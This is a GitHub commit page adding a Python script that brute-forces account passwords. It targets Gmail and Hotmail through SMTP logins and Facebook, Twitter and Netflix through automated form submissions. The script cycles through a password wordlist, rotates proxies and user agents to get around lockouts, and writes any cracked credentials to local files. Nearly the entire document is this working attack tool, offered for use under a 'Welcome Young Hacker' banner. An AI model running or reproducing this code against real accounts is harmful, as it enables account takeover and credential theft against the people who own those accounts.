-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
8386cdc
commit 048bf29
Showing
5 changed files
with
1,275 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,262 @@ | ||
#!/usr/bin/python | ||
# -*- coding: utf-8 -*- | ||
import smtplib | ||
import threading | ||
from optparse import * | ||
import time | ||
try : | ||
from proxylist import ProxyList | ||
except: | ||
print("pip3 install proxylist ") | ||
try : | ||
from mechanize import Browser | ||
except: | ||
print("pip3 install mechanize") | ||
from os import * | ||
import sys | ||
import logging | ||
import io | ||
import random | ||
try: | ||
import cookielib | ||
except: | ||
import http.cookiejar as cookielib | ||
try: | ||
import mechanize | ||
except: | ||
print("pip3 install mechanize ") | ||
R = '\033[31m' # red | ||
G = '\033[32m' # green | ||
W = '\033[0m' # white | ||
use = OptionParser("""{} | ||
Welcome Young Hacker... | ||
Ready, 1 2 3! | ||
{} | ||
----------------------------------------------------------------------- | ||
-g --gmail for gmail @gmail.com | ||
-t --hotmail for hotmail @hotmail.com | ||
-T --twitter for twitter @ | ||
-f --facebook for facebook @ | ||
-n --netflix for Netflix @ | ||
-l --list set a list Password BruteForce | ||
-p --password set a single Password | ||
-X --proxy set a proxy list | ||
""".format(G,R)) | ||
|
||
use.add_option("-g","--gmail",dest="gmail",help="Gmail") | ||
use.add_option("-t","--hotmail",dest="hotmail",help="Hotmail") | ||
use.add_option("-T","--twitter",dest="twitter",help="Twitter") | ||
use.add_option("-f","--facebook",dest="facebook",help="Facebook") | ||
use.add_option("-n","--netflix",dest="netflix",help="Netflix") | ||
use.add_option("-l","--list",dest="list_password",help="Wordlist") | ||
use.add_option("-p","--password",dest="password",help="Single Password") | ||
use.add_option("-X","--proxy",dest="proxy",help="Proxy") | ||
(options,args) = use.parse_args() | ||
|
||
brows = Browser() | ||
brows.set_handle_robots(False) | ||
brows._factory.is_html = True | ||
brows.set_cookiejar(cookielib.LWPCookieJar()) | ||
useragents = [ | ||
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.19) Gecko/20081202 Firefox (Debian-2.0.0.19-0etch1)', | ||
'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', | ||
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', | ||
'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6'] | ||
brows.addheaders = [('User-agent',random.choice(useragents))] | ||
brows.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1) | ||
proxyList = options.proxy | ||
|
||
def proxy(): | ||
logging.basicConfig() | ||
pl = ProxyList() | ||
try: | ||
pl.load_file(proxyList) | ||
except: | ||
sys.exit('[!] Proxy incorrect | exiting now...') | ||
pl.random() | ||
getProxy = pl.random().address() | ||
brows.set_proxies(proxies={"https": getProxy}) | ||
try: | ||
checkProxyIP = brows.open("https://api.ipify.org/?format=raw", timeout=10) | ||
except: | ||
return proxy() | ||
|
||
def Netflix(): | ||
password_list = io.open(options.list_password,"r").readlines() | ||
try_login = 0 | ||
print("\r Netflix Account: {}".format(options.netflix)) | ||
print("%s<<<<<<+++++Beginning of Brute Email+++++>>>>>%s"%(R,W)) | ||
for password in password_list: | ||
password = password.rstrip('\n') | ||
try_login += 1 | ||
if try_login == 10: | ||
try_login = 0 | ||
proxy() | ||
print('\rPassword [==] {} '.format(password).rstrip("\n")) | ||
sys.stdout.flush | ||
url = "https://www.netflix.com/sa/login" | ||
try: | ||
brows.open(url, timeout=10) | ||
brows.select_form(nr=0) | ||
brows.form['userLoginId'] = options.netflix | ||
brows.form['password'] = password | ||
brows.method = "POST" | ||
submit = brows.submit() | ||
|
||
if 'https://www.netflix.com/browse' in submit.geturl(): | ||
print("{}[True][+] Password Found [{}][+]".format(G,password)) | ||
Save = io.open("Netflix.txt","a").write("Account Netflix:"+options.netflix+"\t\tPassword:"+password+"\n") | ||
break | ||
else : | ||
print("%s[!] Oh uh, ERROR\n"%(R,W)) | ||
except: | ||
print('[!] <<<There are speeches in communication>>> \n') | ||
proxy() | ||
|
||
|
||
|
||
def facebook(): | ||
password_list = io.open(options.list_password,"r").readlines() | ||
try_login = 0 | ||
print("\rFacebook Account: {}".format(options.facebook)) | ||
print("%s<<<<<<+++++Starting Seach Email+++++>>>>>%s"%(R,W)) | ||
for password in password_list: | ||
password = password.rstrip('\n') | ||
try_login += 1 | ||
if try_login == 10: | ||
try_login = 0 | ||
proxy() | ||
print('\rPassword [==] {} '.format(password).rstrip("\n")) | ||
sys.stdout.flush | ||
url = "https://ar-ar.facebook.com/login" | ||
try: | ||
brows.open(url, timeout=5) | ||
brows.select_form(nr=0) | ||
brows.form['email'] = options.facebook | ||
brows.form['pass'] = password | ||
brows.method = "POST" | ||
submit = brows.submit() | ||
if 'https://www.facebook.com/?sk=welcome' in submit.geturl(): | ||
print("{}[True][+] Password Found [{}][+]".format(G,password)) | ||
Save = io.open("Facebook.txt","a").write("Account Facebook:"+options.facebook+"\t\tPassword:"+password+"\n") | ||
break | ||
else : | ||
print("%s[!] Oh uh, Error%s\n"%(R,W)) | ||
except: | ||
print('[!] <<<There are speeches in communication>>> \n') | ||
proxy() | ||
|
||
|
||
|
||
def twitter(): | ||
password_list = io.open(options.list_password,"r").readlines() | ||
try_login = 0 | ||
print("\rTwitter Account: {}".format(options.twitter)) | ||
print("%s<<<<<<+++++Starting Search Email+++++>>>>>%s"%(R,W)) | ||
for password in password_list: | ||
password = password.rstrip('\n') | ||
try_login += 1 | ||
if try_login == 10: | ||
try_login = 0 | ||
proxy() | ||
print('\rPassword [==] {} '.format(password).rstrip("\n")) | ||
sys.stdout.flush | ||
url = "https://mobile.twitter.com/login" | ||
try: | ||
brows.open(url, timeout=5) | ||
brows.select_form(nr=0) | ||
brows.form['session[username_or_email]'] = options.twitter.strip() | ||
brows.form['session[password]'] = password | ||
brows.method = "POST" | ||
submit = brows.submit() | ||
if submit.geturl() == "https://mobile.twitter.com/": | ||
print("{}[True][+] Password Found [{}][+]".format(G,password)) | ||
Save = io.open("Twitter.txt","a").write("Account Twitter:"+options.twitter+"\t\tPassword:"+password+"\n") | ||
break | ||
elif submit.geturl() == "https://mobile.twitter.com/home": | ||
print("{}[True][+] Password Found [{}][+]".format(G,password)) | ||
Save = io.open("Twitter.txt","a").write("Account Twitter:"+options.twitter+"\t\tPassword:"+password+"\n") | ||
break | ||
elif 'https://mobile.twitter.com/account/login_challenge' in submit.geturl(): | ||
print("{}[True][+] Password Found [{}][+]".format(G,password)) | ||
Save = io.open("Twitter.txt","a").write("Account Twitter:"+options.twitter+"\t\tPassword:"+password+"\n") | ||
break | ||
elif 'https://mobile.twitter.com/account/locked' in submit.geturl(): | ||
proxy() | ||
else: | ||
print("%s[!] Oh uh, Error%s\n"%(R,W)) | ||
except: | ||
print('[!] <<<There are speeches in communication>>> \n') | ||
proxy() | ||
|
||
if options.gmail == None : | ||
if options.hotmail == None : | ||
if options.twitter == None: | ||
if options.facebook == None: | ||
if options.netflix == None : | ||
print(use.usage) | ||
exit() | ||
elif options.hotmail != None or options.gmail == None: | ||
smtp_srverH= smtplib.SMTP('smtp.live.com', 587) | ||
smtp_srverH.ehlo() | ||
smtp_srverH.starttls() | ||
if options.password != None or options.list_password == None : | ||
print("%s<<<<<<+++++Beginning Brute Email+++++>>>>>%s"%(R,W)) | ||
try : | ||
smtp_srverH.login(options.hotmail,options.password) | ||
print("Password Found :{} \t Found Hotmail:{}".format(options.password,options.hotmail)) | ||
Save = io.open("Hotmail.txt","a").write("Account Hotmail:"+options.hotmail+"\t\tPassword:"+options.password+"\n") | ||
except : | ||
print("No Password Found : {} \t Email Hotmail:{}".format(options.password,options.hotmail)) | ||
elif options.list_password !=None or options.password == None : | ||
password_list = io.open(options.list_password,"r").readlines() | ||
for password in password_list: | ||
try : | ||
print("%s<<<<<<+++++Beginning Brute Email+++++>>>>>%s"%(R,W)) | ||
smtp_srverH.login(options.hotmail,password) | ||
print("Password Found :{} \n Found Hotmail:{}".format(password,options.hotmail)) | ||
Save = io.open("Hotmail.txt","a").write("Account Hotmail:"+options.hotmail+"\t\tPassword:"+password+"\n") | ||
except smtplib.SMTPAuthenticationError: | ||
print("No Password Found : {} \t Email Hotmail:{}".format(password,options.hotmail)) | ||
if options.twitter != None : | ||
hejab = threading.Thread(target=twitter,name="hejab") | ||
hejab.start() | ||
if options.facebook != None : | ||
facebook = threading.Thread(target=facebook,name="facebook") | ||
facebook.start() | ||
if options.netflix != None: | ||
netflix = threading.Thread(target=Netflix,name="Netflix") | ||
netflix.start() | ||
|
||
|
||
elif options.gmail !=None or options.hotmail== None or options.twitter==None: | ||
smtp_srverG= smtplib.SMTP('smtp.gmail.com', 587) | ||
smtp_srverG.ehlo() | ||
smtp_srverG.starttls() | ||
if options.password != None or options.list_password == None : | ||
print("%s<<<<<<+++++НАЧАЛО ПЕРЕБОРА Email+++++>>>>>%s"%(R,W)) | ||
try : | ||
smtp_srverG.login(options.gmail,options.password) | ||
print("Найден пароль :{} \t Found Gmail:{}".format(options.password,options.gmail)) | ||
Save = io.open("Gmail.txt","a").write("Account Gmail:"+options.gmail+"\t\tPassword:"+options.password+"\n") | ||
except : | ||
print("Не найдены пароли : {} \t Email Gmail:{}".format(options.password,options.gmail)) | ||
elif options.list_password !=None: | ||
password_list = io.open(options.list_password,"r").readlines() | ||
for password in password_list: | ||
password = password.rstrip("\n") | ||
print("%s<<<<<<+++++Beginning Brute Email+++++>>>>>%s"%(R,W)) | ||
try : | ||
smtp_srverG.login(options.gmail,password) | ||
print("{}<<<+++Password Found :{} \t Found Gmail:{}+++>>>".format(G,password,options.gmail)) | ||
Save = io.open("Gmail.txt","a").write("Account Gmail:"+options.gmail+"\t\tPassword:"+password+"\n") | ||
break | ||
except smtplib.SMTPAuthenticationError: | ||
print("{}<<<---No Password Found : {} \t Email Gmail:{}--->>>".format(R,password,options.gmail)) | ||
|
||
else: | ||
print(use.usage) | ||
exit() |
Oops, something went wrong.